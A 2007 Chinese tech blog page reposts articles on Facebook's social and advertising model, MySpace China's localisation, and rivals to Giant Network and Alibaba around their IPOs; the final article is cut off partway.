查皮博客@blogbus

• 2007年10月29日

  从用户角度理解Facebook成功之谜 - [IT业界]

  从用户角度理解Facebook成功之谜
  
  就在最近，Facebook忽然变成了人们讨论的重点。无数的文章在谈论它150亿美元的天价，然而网络上，对于他为何成功，如何成功，他的模式与其它的网站有什么不同，往往只是一笔带过，几乎无人探讨。这项研究的缺乏，是互联网的悲哀。
  
  就在最近，Facebook忽 然变成了人们讨论的重点。无数的文章在谈论它150亿美元的天价，里面又有很大的篇幅，提及两大巨头，微软与Google为争夺其控制权，而龙争虎斗的故 事。当人们在对这种资本缠斗津津乐道的时候，似乎很容易又忽略了这么一个事实，Facebook今天的一切，其实都是建立在其成功的社交模式上。
  
  不如就由我过门，以用户的角度，带大家去遨游一下Facebook，并为有志的创业家们，作出一些的启示。
  
  初识Facebook
  
  最初知道Facebook是通过一则传闻，听说英国王子威廉(William Wales)就在里面，传闻来源于MySpace的一些好友。我当时抱着看热闹的心态上去搞了个帐号，那个时候Facebook还没有多少人，其中以学生占压倒性的大多数，一知道你不是本校的，基本上很少会再联系。后来，威廉这则传闻忽然渐渐成为了公开的秘密，好像还上了各地的新闻报刊。就这样，过了没多久，用户人数开始疯涨起来，而且新用户里面好像女孩子比较多。因为我早来了几天，朋友里，总有一些会打听传闻的事情，我当时还认真的找了一下。但正如我之前提到的，如果你要在Facebook找Bush(美国总统)，一定可以找到，而且可能不只找到一个。同样，我也找到了威廉，但他的好友里全是绝色美女，其真实性应该就值得怀疑了。
  
  在Facebook交友
  
  然而Facebook吸引人的地方却永远不止如此。分享暂时不谈，光说交友里最流向的一项，认识女孩子。怎么，大家现在还在用QQ干这事，那是多少 年前的事情了。要多认识一些女孩子，上Facebook是挺好的选择，要找同城的，有，要找国外的，也有。不 知为什么，也许知道各自地理背景的关系，交流起来总觉得十分愉快。同时，非即时的站内短信方式，永远都不会像IM一样有人催促你快些回答，所以英文差点， 没关系。
  
  虽然交友和认识女孩子，是某些人上网的全部目的，但绝对不是所有人。更多的人都有其各自的喜好，而Facebook上名目繁多的圈子正好可以满足这些人的需求。
  
  圈子与邀请
  
  圈子是Facebook最成功的项目之一，而圈子的成功，离不开邀请系统的支持。邀请系统在那里似乎无处不在，进入一个邀请页面，然后只需点几下好友，再按下发送，您希望的所有朋友，都会收到邀请。 所以，在那里，找圈子的事情一般很少，反而在每个人，都会有一大窜各种圈子的邀请，虽然并不是每一个邀请咱们都会感兴趣，但因为大多是好友推荐的关系，让 人觉得情投意合的，还真不少。当然，这套系统在我看来还有待改进，用户在进入圈子后，如果立即提示邀请好友参加，效果又会如何呢。
  
  插件的威力
  
  我一直在不断的告诫自己，玩Facebook总要有离开的一天。而当我刚刚转投另一个Facebook——Hatebook怀抱时，不知哪位好友又发来了邀请信，这次要"拯救外星人"，什么，救外星人，Yes，就是要在Facebook上"Save An Alien"。
  
  我刚离开的前脚，又被拉回来了。Facebook就是用这么一个又一个的小活动拉拢用户，使你欲罢不能。
  
  与"拯救外星人"相似，之前还有个电影评选什么的，Facebook的很多活动(其实就是插件)都有个特点，那就是，能让你在几分钟之内，两三个页 面之间完成整个过程。这是Facebook的一大特色。与奖品丰厚，需要投入大量的精力的国内流行活动不同，Facebook这种小打小闹的方式，不但简 单易用，而且让人觉得更具亲切感。
  
  Facebook的死对头MySpace，也因为领略到插件的威力，从而主动开放了网站的架构。
  
  这个网站给人留下的深刻记忆还有很多，比如同城的页面，比如左下角讨厌的广告，但这些都不是第一印象，暂且不应在本文谈论，所以，还是留待下一篇吧。
  
  陈一舟论web2.0 之一：Facebook为什么值150亿美元？
  
  　　DoNews10月29日消息（记者 刘韧）微软2.4亿美元收购Facebook 1.6%股份后，DoNews专访了千橡集团CEO陈一舟。一年前，陈一舟从王兴手中全额收购了中国的Facebook校内网xiaonei.com。
  
  　　2005年，千橡投资人Accel Partners投资Facebook，1270万占11％股权。当时Facebook全球排名才2000多，陈一舟当时笑着问投资人为什么要投资这么一个小家伙。现在这笔投资已经价值16.5亿美元。
  
  　　2006年10月23日千橡收购校内。“此时，我才感到，这是一个很多人需求，能长期存在，现有产品又没能满足好的大应用。”陈一舟说：“它满足的是，一个人和他已经认识的人保持长久联系的需求。”“这是一种若即若离的联系，它不需要即时通讯，很多时候，你只需在朋友儿子过生日的时候，对着朋友发上来的儿子的照片，回复：‘你儿子长胖了。’”
  
  　　“Facebook比Myspace更有价值。”“Myspace上骚扰太多，Facebook上都是真实安全的关系。”
  
  　　2007年5月，Facebook 开放了API。目前，在Facebook上，已有超过4000种游戏程序和音乐共享工具被开发了出来，Facebook正在发展成为一个新的操作平台。过去几个月facebook市场份额增长了3倍，MySpace市场份额下降了5%。“Facebook开放API后，我在办公室发了一通感慨。一个23岁年轻人有如此大的胸怀，Facebook有30%到40%的希望成为明天的Google。”
  
  　　陈一舟认为，Facebook未来会成为最大的电子商务公司。“和Google通过帮助小的长尾的电子商务公司赚钱而赚到竞价排名广告不同，Facebook上可以直接买机票、保险、汽车等高附加值大品牌的商品。”“在Facebook上，你看到你朋友开什么车，你很自然就会关注询问这个牌字的汽车。”“这种广告或者行销是润物细无声的，针对性强，也很自然。” “亚马逊需要通过成本很高广告抓用户，Facebook抓用户途径是人际关系，零成本。”
  
  　　社交网络一旦在一地形成规模和DNA，就内生地具备了无法竞争的高成长性。目前，Goolge的Orkut主宰着巴西，Friendster统领着菲律宾，Facebook正在占领美国、加拿大和西欧市场。在中国，校内以每日880万的登录数和2.2亿PV垄断着这一市场。
  
  迷人的Facebook广告业务 聚焦广告成亮点
  
  　　DoNews（北京）10月29日消息（记者 吴客）据国外媒体报道，微软为了扩大广告联盟，不惜砸下2.4亿美元入股Facebook，这笔交易能给双方带来什么利益？
  
  　　eMarketer分析师Debbie Williamson说：“这正是近几年来环绕社交网站的问题。此刻，大部分的营收是靠销售旧式的横幅广告，这种广告有如散弹打鸟，目标不集中，成本不高，数量很多。”
  
  　　一般的认知是，社交网站碍于先天因素，要赚钱并不容易。用户要查找数据或阅读信息，会上Google和媒体网站。他们之所以上Facebook，是为了与朋友沟通。有些人据此推论，在社交网站上刊登广告，只会被访客视若无睹。
  
  　　在线广告公司Undertone Networks的执行长Michael Cassidy接受访问时表示，广告主在Facebook、MySpace这种社交网站上买广告，有如“浪费大把钞票”。他说，这些网站的使用者“去那边是要跟朋友互动，秀秀自己的网络身分，无意对广告作任何响应”。
  
  　　何况，Facebook对营收数字三缄其口。私人企业不必公开财务报表，但大多数人认为，这显示该公司根本赚不了什么钱，尽管微软这笔交易的价码让Facebook俨然拥有150亿美元的身价。
  
  　　市调公司Datamonitor驻伦敦分析师Alex Kwiatkowski说：“他们愿意畅谈会员人数(Facebook宣称使用者直逼5,000万人) ，但别人问起营收数字时，戒心却很强。所以，这150亿美元的估价有何根据?他们曾摊开账目给微软看过吗?”
  
  　　但不同于苹果和Google，Facebook目前为止已形象塑造得很成功，即使是网络业内人士也深信，幕后必有某种策略在酝酿中，而150亿美元的估价，象征微软对Facebook的未来投下信任票，相信该网站将发展出一套有效的广告策略。
  
  　　广告主的天堂
  
  　　11月6日，Facebook将在纽约针对广告相关问题作出重大宣布。广告业分析师正屏息以待。许多人承认，猜不出Facebook葫芦里卖什么药。这是因为Facebook使用者的身分简介(profiles)里存有大量的个人资料，可能成为广告主能善加利用的天堂。
  
  　　Forrester Research分析师Jeremiah Owyang说：“这是我们前所未见的一种广告平台，使用者自愿输入个人资料，而且上面附带各种网络信息，例如谁与他们往来，他们在做什么事等等。这些姿态无须言语，就透露出他们的个人偏好。”
  
  　　从这点来看，Facebook令人瞩目的焦点，不在于这个社交网站是否值得150亿美元的身价，毕竟Facebook并未公开释股上市，此刻也没人论及并购。重点于：Facebook体现当前最热门的一个社交媒体流行语，那就是“聚焦广告”(targeted advertising)。
  
  　　聚焦广告让Google跃上网络广告市场的最前线。在Facebook，或任何拥有丰富数据库的社交网站，广告主可利用使用者输入的个人资料，派送锁定目标的广告。
  
  　　例如，如果某人标明身分是“已订婚”，那么婚纱业者也许就对该用户的社交网络习惯有兴趣。音乐会宣传员可能会把Killers在芝加哥办演唱会的广告信息，对准在该地区大学就读、且把这个乐团的歌列入最爱音乐列表的用户。如果你在“身分讯息”中表示你爱吃披萨，也许Facebook上的广告，就会显示出你家附近达美乐门市的电话号码。
  
  　　上述的商机，怎不让广告主怦然心动？的确，广告圈正热中讨论向Web 2.0网站使用群投放聚焦广告的前景，兴奋程度，不下于众人热烈讨论5月间推出的Facebook开发者平台的盛况。
  
  　　当然，这一切都只是揣测，要到Facebook摊开其策略才算数。
  
  　　连广告业专家也承认，随着Facebook日益壮大，潜在的缺点也随之浮现。Facebook目前的开发者平台是对所有人免费开放的，未来会不会为了获利考虑而被迫改变呢?
  
  　　新媒体营销公司Attention PR共同创办人Curtis Hougland说：“我认为，原始的模式很聪明。他们想迅速获得尽可能多的广大使用者接纳，所以采用最低门坎，广开大户邀请众人来玩。”但他认为，随着Facebook Platform日益扩张，该公司可能需要做些调整。
  
  　　RBC Capital Markets的David Bank说：“试想，如果Facebook把在平台上放置widget工具的能力外包授权给别人，那可能是极为可观的商业模式。但也潜在危险，因为可能造成这些平台转变成垃圾数据(spam)发射台。”
  
  　　这正是关键所在。如果广告让Facebook使用者觉得碍眼，可能犯众怒。Curtis Hougland说：“这不是能让你关闭的横幅广告，而是在与友人对话窗里冒出的广告。”（完）
  
  MySpace中国模式初成 罗川或将进行大改革
  
  出处：IT时代周刊
  
  　　MySpace中国在独立性和核心业务上都取得了巨大进展，但他们遇到的难题似乎更多
  
  　　曾被业界一致唱衰的MySpace中国正在慢慢走出早期的阴影，步入正常轨道。即便如此，其发展前景依然并不明朗。按互联网老兵谢文的话说，它甚至没有一个让用户来这里的理由。
  
  　　9月20日，MySpace中国对外宣布，在经过为期5个月的测试后，MySpace.cn正式上线。这家全球最大的社交网站在经历一系列本土化改革后，正式落地中国。此前，该网站被指证为MySpace全球网站的汉化版而饱受诟病。
  
  　　“MySpace中国就像一只鸭子，水面上看起来它很平静，其实在水底下它的脚蹼一直在拼命地划水。”在谈到MySpace在中国从测试到正式推出的过程时，公司CEO罗川表示为本地化已经做了很多工作。
  
  　　那么，面对MySpace中国的努力，谢文为何视而不见？这家多次强调本土化的网站是否已经脱胎换骨？它能否在中国竞争激烈的社交网站领域闯出一片新天地呢？
  
  　　彻底的独立
  
  　　今年4月份，MySpace与IDG、中国宽带产业基金（CBC）以及本土创业团队共同组建了MySpace中国。罗川反复强调他们并不是MySpace在中国的分支机构，而是一家完全独立管理和运营的中国本土新兴的互联网企业。曾在微软MSN任职多年的他坚持认为，先前进入中国的跨国互联网巨头在中国的发展都并不顺利，这都归因于国外母公司的过多干涉。
  
  　　MySpace中国本土化最重大的决策就是把服务器搬到了中国。在罗川看来，很多互联网国际巨头都是提供一个全球性的服务器中心，在中国只提供汉化的服务。虽然面临不少技术难题，但为了使该公司彻底地本土化，把服务器搬到中国来，从长远看，具有重要意义。
  
  　　8月底，MySpace在中国的服务器已经基本布署完成，整个中国系统和全球系统在彼此独立的同时保持非常紧的耦合性，可以保持互联互通。不过，随着技术平台切换的完成，MySpace中国与全球系统在服务上出现了部分的分离，比如前者的用户不能对后者的博客、论坛等发表评论，这使该网站津津乐道的国际化交流方式大打折扣。更让用户不满的是，MySpace方面规定，在今年4月27日MySpace.cn测试版上线前，在该网站上进入MySpace.com注册的中国用户属于MySpace.cn，但数据却留在了MySpace.com上，MySpace中国要求这部分用户在规定时间内迁移回MySpace.cn。8月25号，罗川表示，他们这是遵守相关法律办事，这部分用户数量不是太多，大约为六、七千人，并且大部分已经选择迁回至MySpace.cn。
  
  　　MySpace中国的这一举措在一些用户中造成了不良影响，但从全局来看，却是利远大于弊的。罗川表示，两套系统的分离将能够产生一个快速响应市场和快速响应用户的开发平台，更好地满足中国市场和用户的需求。同时，随着系统分离，MySpace中国在本土化上也可以更加自由地施展拳脚。因此，虽然建立还不到半年，MySpace中国的本地化服务已经开展得有声有色。比如站内留言系统、朋友圈子概念等。7月13日上线的由中国团队自行开发的中文论坛服务器就位于中国，不但提供了更快的访问速度，还提供了一些对中国网民来说异常亲切的特殊功能——比如各版块的“斑竹”。
  
  　　尽管，MySpace在各种场合都极力扮演着本土化先锋的角色，但质疑依然存在。近日，邓文迪首次以MySpace中国首席策略官的身份露面，同时她还是MySpace中国的董事之一。这位默多克的夫人参与MySpace中国运营给一直强调本土独立运作的高管们泼了一瓢冷水——MySpace中国还有很漫长的本土化道路要走。
  
  　　文化为中心
  
  　　与美国市场上MySpace、Facebook等的火爆相反，社交网站在中国却日渐冷清。对此，罗川认为“原因是缺乏文化”。
  
  　　7月16日，MySpace中国隆重宣布结盟Channel[V]，推出了供音乐人自由展示、交流作品的网络社区——MySpace[V]音乐公社，推广原创音乐。此外，针对大学生和其他年轻人群体，MySpace中国在成立半年来也多次组织和参与了各种类型的有一定影响力的音乐活动。
  
  　　在发源地美国，MySpace被认为是一种兴趣社区——人们因为共同的兴趣，而不是共同的经历才聚集在一起。音乐是一种最常见的兴趣，也是此类社交网站的“官方语言”。据《IT时代周刊》获悉，MySpace全球拥有超过两亿注册用户，其中有超过920万名音乐人。
  
  　　此外，摄影、绘画以及其他所有的创意行业也格外受到MySpace的欢迎。罗川说，这种创意文化是“健康的、可持续发展的”，并且，把创意、音乐与兴趣放在桌面上以后，那些原本沉默的大多数网民也会活跃起来。
  
  　　不过也有观点认为，中国与美国在网络环境、应用人群、使用心理与习惯等方面存在较大的差异，因此MySpace中国的音乐之路能否像美国那样成功，还是一个未知数。MySpace中国推出原创音乐只是“为了迎合所谓媒体热点而制造的‘噱头’”。
  
  　　罗川承认，与美国相比，国内发展原创音乐的发展状况存在很多差异。“比如MySpace上有超过920万音乐人，而中国所有音乐人加起来也不过20万，创作水平也是参差不齐，而且大家都在听流行音乐，美国网民音乐的口味比较多样化，乡村音乐、摇滚可能占到60%左右的比例，然后才是流行音乐。”
  
  　　虽然存在差异，罗川还是认为MySpace的做法并不是烧钱，“在音乐推荐方式上，我们在中国可以尝试与时尚、体育、娱乐等元素相结合，寻求更广泛的带头人。”CNNIC刚刚发布的互联网调查报告显示，有68.5%的中国网民通过互联网下载或收听过音乐，这个比例要远比美国的34%多，说明中国网民对音乐的需求和消费是庞大并且真实存在的。罗川称，“互联网上从来没有速胜论，”MySpace中国眼下最着急的事情就是建立文化氛围，聚集一批核心用户。
  
  　　大家的反思
  
  　　作为MySpace中国的掌门人和中国业务的拓荒者，罗川承认，网站目前的主要问题是用户活跃度不够高，该网站从4月在华测试以来在推广、内容推送方式以及推荐机制上均存在问题，其中最关键的是定位“互动平台”失误。
  
  　　中国用户对交友的接受程度更高，因此他们的宣传定位将改成“交友平台”。不过，分析人士指出，如果从宣传上去做表面的改变，这自然无可厚非，但如果MySpace中国要从实质上去实施这种“交友平台”的计划，在中国将面临巨大的困难。
  
  　　MySpace中国的调查结果显示，用户对与名人保持联系的兴趣并不大，所以将降低对名人的推广力度。而MySpace的精髓之一就是歌手们通过扩大Fans圈来扩大影响力。一旦歌手们的自我推广受到限制，则直接受影响的就将是MySpace的战略重点。
  
  　　此外，更有观察人士指出，MySpace中国还要解决核心用户群的问题。该公司的核心用户被定位为大学生和毕业1~3年的白领人士。这些人无疑具有一定的消费能力，一定程度上也会受到高端广告商的青睐。但他们同时又是最不稳定的人群，极容易在网站间转移。而网站良好的用户体验则是他们第一个考虑的因素。与美国的简单文化不同，中、日、韩等东方国家更倾向于多样的功能和华丽的页面等，但他们却不喜欢DIY，而喜欢直接拥有成品。他们还非常注重对人隐私的挖掘。正是在这种背景下，虚拟形象（Avatar）盈利模式和婚恋网站模式蓬勃发展，而门户网站博客仅仅增加一个“访客记录”功能，每天就能增加数十万的流量。这也都启示着简洁的MySpace如果有意转型就需要在细节功能上狠下功夫。
  
  　　MySpace中国的本土团队也发现了中国用户更喜欢接受推送到面前的内容，而不是自己寻找。他们认为，目前MySpace.cn上的内容已经足够，但是用户往往不容易找到，因此他们需要改变首页聚合的形态，将最精彩的内容呈现到首页。罗川同时也表示，向用户推荐名人的策略有误，MySpace以后会向用户推荐更多的普通用户。而这两条则与罗川长期以来的理念有着直接的冲突。MySpace中国以为“沉默的大多数”服务而自居，反对网络机会主义者和话语暴力者，而这种默认为首页炒作可以满足用户需求的态度，则是对网络机会主义者和话语暴力者一定程度上的认同，也是对其以前工作的一种否定，所谓的“不在乎流量”的说法也将因此而失去意义。目前，罗川的策略已在承包的MSN中国社区频道上进行推广，效果相当明显。
  
  　　事实上，MySpace中国与外界的合作也已经取得了良好的效果。除了在文化领域上的合作，其与MSN中国的合作尤其值得称道。目前，MSN中文网社区频道带给MySpace中国的流量已经占到了其总流量的70%以上。不过，这种刚开始就采用“合纵连横”快速见成效的方法却并不一定值得效仿。至少其目前作为业务重点的音乐频道（http://v.myspace.cn）在进行了多轮的合作推广之后目前还毫无建树。而这更多的流露的却是MySpace中国的领导层急功近利的心态。
  
  　　谢文在5月份和罗川对话时就曾表示，网站在启动期的时候，如果没有产生爆炸性的效果，你可以在定位上有所选择，还可以做一些引导，来确保它能转化为核心价值、核心生活方式、核心互动方式。而最重要的就是这些措施能不能形成核心力量。从目前音乐频道每况愈下的情况来讲，MySpace的以文化为中心的定位并没有成为其核心力量，也没有达到理想的生活方式和互动方式的目标。“MySpace中国网站的骨架已经有了，但是有好的骨架不等于好的灵魂。”
  
  　　谢文表示，罗川应该注意的是给大家一个上MySpace的理由，这是他今后一年要解决的问题。此外，MySpace中国最好的或者说根本的选择则是基于自己的平台，真正地实现一场模式上的大革命，使得网站能够领风气之先，在群雄之林有相当坚实的一块阵地。
  Tag：Facebook 互联网 社交网络 web2.0
  chapi 发表于21时16分53秒 | 阅读全文 | 评论 0 | 编辑 | 分享

• 2007年10月29日

  互联网战力点评：谁能抗衡巨人和阿里巴巴 - [IT业界]

  
  作者：贾富 | 出处：电脑报
  
  　　史玉柱和马云用他们各自的经历为巨人和阿里巴巴书写了一个个神奇的故事。史玉柱从珠海“巨人大厦”的烂尾楼走出来，从保健品到网络游戏，复出之后的他在所到的每一个领域都掀起了一阵不小的波浪；马云从杭州师范平静的校园走出来，素有“狂人”之称的他抛出了无数的狂人狂语，并且屡屡在谈笑间让它们都变成了现实。
  
  　　日前，美国证券交易委员会(SEC)公布的文件显示，巨人网络集团正准备在纽约证券交易所上市，融资额最高达8亿美元，预计这将是中国网络游戏业最大一笔IPO(Initial public offerings首次公开募股)，规模远大于以前上市的所有中国网络游戏公司。而另一家中国公司阿里巴巴的IPO也吸引了投资者的高度关注。阿里巴巴B2B业务计划通过IPO融资13.2亿美元，并计划于11月6日在中国香港联交所上市。
  
  　　今年，IT企业上市的呼声此起彼伏，一浪高过一浪。眼下，巨人和阿里巴巴这两个“巨无霸”都走到了上市的岔路口，来势汹汹掩盖了所有对手的光辉，他们自信的笑容很有独孤求败的味道，那么他们还有对手吗？他们真的能实现初衷，实现“惟我独尊”的美梦吗？
  
  　　其实，巨人和阿里巴巴也并不是神，在网络及电子商务领域，他们并不能为所欲为，因为他们还面临着对手强而有力的反攻。今天，就让我们来看看谁能干掉巨人与阿里巴巴这两大巨无霸。
  
  　　横扫一切的史氏巨人
  
  　　巨人网络CEO史玉柱
  
  　　战斗力统帅：史玉柱
  
  　　战斗力来源：网络游戏
  
  　　战斗力扩充：纽约证券交易所
  
  　　战斗力指标：8亿美元
  
  　　战斗力类型：激情张扬、剑走偏锋
  
  　　成立于3年前的巨人网络目前已成为中国第三大网游运营商。截至今年第二季度，中国网游市场规模已达人民币26.7亿元(约合3.553亿美元)，环比增长了4.3%。其中巨人网络占据了15%的市场份额，位列第三。排名第一的盛大市场份额为21%，排名第二的网易份额为19%，九城的份额为10.6%，排名第四。从上面这些数据里也足以看出巨人网络的发展潜力。
  
  　　但是千万不要因为这是一家排名第三的公司就小看了它。史玉柱带领下的巨人网络表现出的战斗力让人感到不可思议，至少与它在国内网络游戏市场第三的位置完全不相符合。
  
  　　战斗力之一：
  
  　　尽管旗下只有1款主打网络游戏《征途》，但是在短短6个月时间内就达到最高同时在线用户68万，创造中国网络游戏同时在线人数的最高纪录。今年5月《征途》更是突破百万同时在线人数，成为全球范围内第三款同时在线人数突破100万的网游产品。而这个时候距离《征途》正式推出还不到1年时间。
  
  　　史玉柱是一个做事让大家摸不着头脑的人，这也影响到巨人在网络游戏上的战略。《征途》在去年推出之时，巨人网络竟然作出一个让大家震惊的决定：免费开放网络游戏。这个举动几乎不为业界看好，要知道那个时候国内整个网络游戏界都处在低谷，大家都在探索新的收费增值模式。但是喜欢剑走偏锋的史玉柱硬是带着巨人网络把这款免费网络游戏做起来了，带起了网络行业的一股“免费潮流”。
  
  　　战斗力之二：
  
  　　在美国纽约证券交易所上市，将让巨人网络这个巨无霸再一次扩充自己的战斗力。巨人网络此次IPO预计将发行5720万股美国存托股(ADS)，每股发行价预计为12~14美元，计划融资8亿美元。此前国内网游公司上市融资的最高记录是完美时空在纳斯达克创造的1.88亿美元，巨人一下子把这个记录提高了四倍。巨人网络的市值也将创造记录，达到30亿美元。光是这两个记录，就足以把国内所有竞争对手远远抛在身后了。
  
  　　四大高手围攻巨人
  
  　　网游元老盛大
  
  　　打擂人：盛大网络
  
  　　优势：出道早，知名度高
  
  　　独门功夫：《传奇》、《泡泡堂》形成的完整网游产品线
  
  　　打擂口号：网游界我可是老革命
  
  　　命门：产品品牌效应差
  
  　　获胜几率：40%
  
  　　盛大于1999年11月开始创业，2002年盛大凭借《传奇》在市场上的火爆，一举坐稳中国网游老大的宝座。
  
  　　作为老牌网游公司，盛大的优势就是在于公司知名度高。在国内，凡是有点资历的玩家都知道盛大的名字，这对于吸引用户群有一定的作用。盛大的另外一个优势则是多元化拓展比较早，是国内最早从单纯的网络游戏公司向综合网络娱乐内容商转变的企业。目前盛大已形成以网游为核心的多种网络娱乐业务。
  
  　　要说盛大有什么输给巨人的话，那就是市场推广模式与后续产品知名度，《传奇》之后，盛大后续产品知名度都大不如前。尽管如此，盛大依然是最有可能对巨人构成威胁的对手。
  
  　　急先锋九城
  
  　　打擂人：第九城市计算机技术咨询(上海)有限公司
  
  　　优势：旗下产品国际知名度很高
  
  　　独门功夫：手头拥有《魔兽世界》、《伦敦：暗黑之门》、《劲舞团2》等多种杀手锏
  
  　　打擂口号：阿拉也是上海人，阿拉不怕你
  
  　　命门：基本都是代理产品，缺乏原创能力
  
  　　获胜几率：30%
  
  　　九城创建于1998年。最初是开始做内容网站。九城的转折点发生在2002年7月，这个月九城独家代理了游戏《奇迹MU》的大陆代理权，这为九城后续发展完成了原始积累，获得了大量丰厚利润。九城真正在国内网络游戏领域成长为数一数二的公司，是在将著名网络游戏《魔兽世界》引入中国之后。2004年4月，九城以1300万美元的价格拿到了暴雪公司《魔兽世界》(WOW)的中国独家代理权。如今《魔兽世界》已经成为中国最受欢迎的网络游戏，九城也成为国内最具影响力的网络游戏公司之一。
  
  　　如果与巨人较劲，九城除了《魔兽世界》造就的声名，最大的优势来于旗下重量级网络游戏产品众多，《伦敦：暗黑之门》、《劲舞团2》都是具有相当高知名度的产品。对于国内游戏玩家来说，都充满了巨大的吸引力。
  
  　　然而跟巨人相比，九城拥有多款重量级网络游戏，却也是这家公司的最大命门。因为上面提到的这几款产品，全部都是从海外代理，没有一款是九城自己研发的。可以这么说，代理游戏让九城崛起，但缺乏原创精神也成了九城的死穴，当某一天失去代理权，九城的末日也就到来了。
  
  　　智力型高手网易
  
  　　打擂人：网易公司
  
  　　优势：原创能力强，拥有多款民族网游
  
  　　独门功夫：《大话西游》、《梦幻西游》
  
  　　打擂口号：向老板丁磊看齐，网游也要当老大
  
  　　命门：经营业务太多，影响网游战略
  
  　　获胜几率：20%
  
  　　网易创立于1997年6月。与前面的盛大和九城不同，网易并不是靠网络游戏起家。在中国，网易凭借三大门户网站之一的称号和老板丁磊的智慧获得了知名度。
  
  　　但网易在网络游戏上的成绩的确让人刮目相看，随着《大话西游》系列网络游戏的成功，网易竟然排名国内网络游戏市场第二位。一个门户网站能够做到这样的水平，网易杀伤力由此可见一斑。
  
  　　网易与巨人类似，是完全凭借自主研发获得成功的，甚至比巨人的原创能力更强，拥有一系列成功的民族网络游戏。
  
  　　网易的问题在于，门户网站的定位导致经营业务过多，一旦网站本身业务出现问题，必然导致资金等资源会发生转移，在一定程度上会影响网游开发和发展。
  
  　　老江湖金山
  
  　　打擂人：金山软件有限公司
  
  　　优势：公司品牌知名度高，技术研发能力有保障
  
  　　独门功夫：《封神榜》、《春秋QQ》
  
  　　打擂口号：连微软我都打过，还怕巨人吗
  
  　　命门：公司规模太小，网游成绩一般
  
  　　获胜几率：5%
  
  　　1989年，金山创立。1994年成立北京金山软件公司。金山通过《剑侠情缘Online》进入网络游戏领域，并迅速从通用软件厂商成长为一家网络游戏厂商，并在今年成功上市，进一步扩大了企业规模。
  
  　　相对其他竞争对手，尤其是巨人，金山在研发能力上面有一定优势。在早期开发WPS的时候，金山旗下聚集了大批拥有丰富行业经验的程序员。在网络游戏的竞争中，程序员群体的实力是相当重要的，能够直接影响到网络游戏产品的竞争力。正因为如此，这些程序员成为后来金山成功进军网络游戏市场的坚实基础，大大提升了金山在产品开发中的研发能力。
  
  　　但是从上市融资规模来看，金山的整体规模还是太小，在中国香港上市的金山是所有网络游戏厂商中，上市融资金额最少的，还不到1亿美元。要在整体上与巨人抗衡，具有很大的难度。所以在四大高手中，金山的可能性也是最低的。
  
  　　具有国际杀伤力的阿里巴巴
  
  　　阿里巴巴董事局主席马云
  
  　　战斗力统帅：马云
  
  　　战斗力来源：电子商务
  
  　　战斗力扩充：中国香港联合交易所
  
  　　战斗力指标：15亿美元
  
  　　战斗力类型：稳扎稳打 步步为营
  
  　　2007年10月25日，当阿里巴巴在国际范围进行配股招商的时候，配股金额已经超过1500亿美元。除了此前中国工商银行在全球范围配股3600亿美元之外，没有任何一家中国企业能达到这个水平。由此可见，阿里巴巴的战斗力已经远远超过了互联网企业的范畴，即使在全国范围也是数一数二的。
  
  　　相对此前的巨人网络，阿里巴巴更具有国际杀伤力。这里有几个原因。
  
  　　战斗力之一：
  
  　　阿里巴巴如今是全球最大的电子商务网站，是全球商人网络推广的首选网站。阿里巴巴的付费会员已由2004年的7.7万人增长至25.5万人。其次，阿里巴巴的国际知名度相当高，多次被《商业周刊》、《财富》等知名媒体评选为全球最具竞争力的电子商务网站。这一点没有任何一家中国网络公司能够达到。在盈利方面，阿里巴巴并不过分倚重国内市场。2007年上半年阿里巴巴公司的总营收为9.577亿元(约1.258亿美元)，其中国际业务收入为6.95亿元(约9135.6万美元)，中国市场收入为2.6亿元(约3428.3万美元)。2007年上半年的净利润为2.95亿元(约3878.2万美元)，净利润率为30.8%。
  
  　　战斗力之二：
  
  　　按照目前的认购势头来看，阿里巴巴有可能创下全球互联网企业融资的新纪录。由于受国际配售机构投资者热捧，阿里巴巴已招股价区间由原定的10～12港元，上调至12～13.5港元，增幅逾8%。融资额有望超过17亿美元，打破Google上市之初创造的16.7亿美元的互联网企业融资记录，成为互联网领域有史以来最大的IPO。
  
  　　由此可见，阿里巴巴真正的战斗力是体现在国际范围的，这也是众多对手难以超越的地方。
  
  　　五大“杀手”直逼阿里巴巴
  
  　　全能型杀手腾讯
  
  　　打擂人：腾讯拍拍
  
  　　主营业务：即时通讯、网络、无线、电子商务。
  
  　　优势：知名度高，用户庞大，而且忠实
  
  　　独门功夫：与QQ聊天平台捆绑
  
  　　打擂口号：在什么地方我都是老大
  
  　　命门：用户群体单一
  
  　　获胜几率：30%
  
  　　在电子商务领域，腾讯拍拍网自2005年9月上线以来，增长势头迅猛，优势也很明显，腾讯有黏性极高的即时通讯用户资源，同样也是其手中最大的竞争筹码。
  
  　　事实证明，腾讯在门户网站、QQ游戏的竞争中，其用户资源优势发挥出了巨大的杀伤力，腾讯只要在QQ客户端上随意捆绑几个业务，都可能将对手消灭，大大增强了自己的竞争力。
  
  　　所以说，无论是在规模、实力上，腾讯是最有可能击败阿里巴巴的网络公司。当然腾讯的致命伤同样存在，那就是用户类型过于单一，而且偏年轻化。从这个角度看，在B2B领域并不是一个好现象。
  
  　　资深杀手易趣
  
  　　打擂人：eBay易趣
  
  　　优势：出道早，经验丰富
  
  　　独门功夫：与TOM联手，俘获人心
  
  　　打擂口号：阿里巴巴，我就死磕你了
  
  　　命门：被淘宝拉开的距离太大
  
  　　获胜几率：20%
  
  　　1999年诞生的易趣在中国电子商务领域算是元老了。在2002年与美国最大电子商务公司eBay结盟之后，获得3000万美元的注资，整体实力得到很大的提升，迅速发展成国内最大的在线交易社区。
  
  　　在中国电子商务的对抗史上，易趣和阿里巴巴打了一场持久战，但在这场战争中，易趣似乎总是稍逊一筹。为了改变自己的命运，2006年，易趣和国内领先的门户网站、无线互联网公司TOM在线携手组建了一家合资公司。
  
  　　在今年，该公司开始推出为中国市场定制的在线交易平台。eBay易趣不仅为卖家提供了一个网上创业、实现自我价值的舞台，也给广大买家带来了全新的购物体验。这种深得人心的攻略足以让阿里巴巴及其他对手畏惧。
  
  　　不过，eBay易趣要想凭此战胜阿里巴巴恐怕不是那么容易的，毕竟在与淘宝的竞赛中eBay易趣已经远远落后了。当年尽管比淘宝出道早，但是在战斗中却很快败下阵来，要摆脱当年的阴影，对易趣来说是一个难题。
  
  　　稳健杀手当当
  
  　　打擂人：当当网
  
  　　优势：庞大的物流系统支持
  
  　　独门功夫：全球最大中文网上销售网站
  
  　　打擂口号：谁说我只能卖图书
  
  　　命门：销售范围过于单一
  
  　　获胜几率：20%
  
  　　当当网开通于1999年11月。几个月之后，当当获得风险投资，这让当当的名气大增。经过几年的发展，当当网已经成为了全球最大中文网上商城。
  
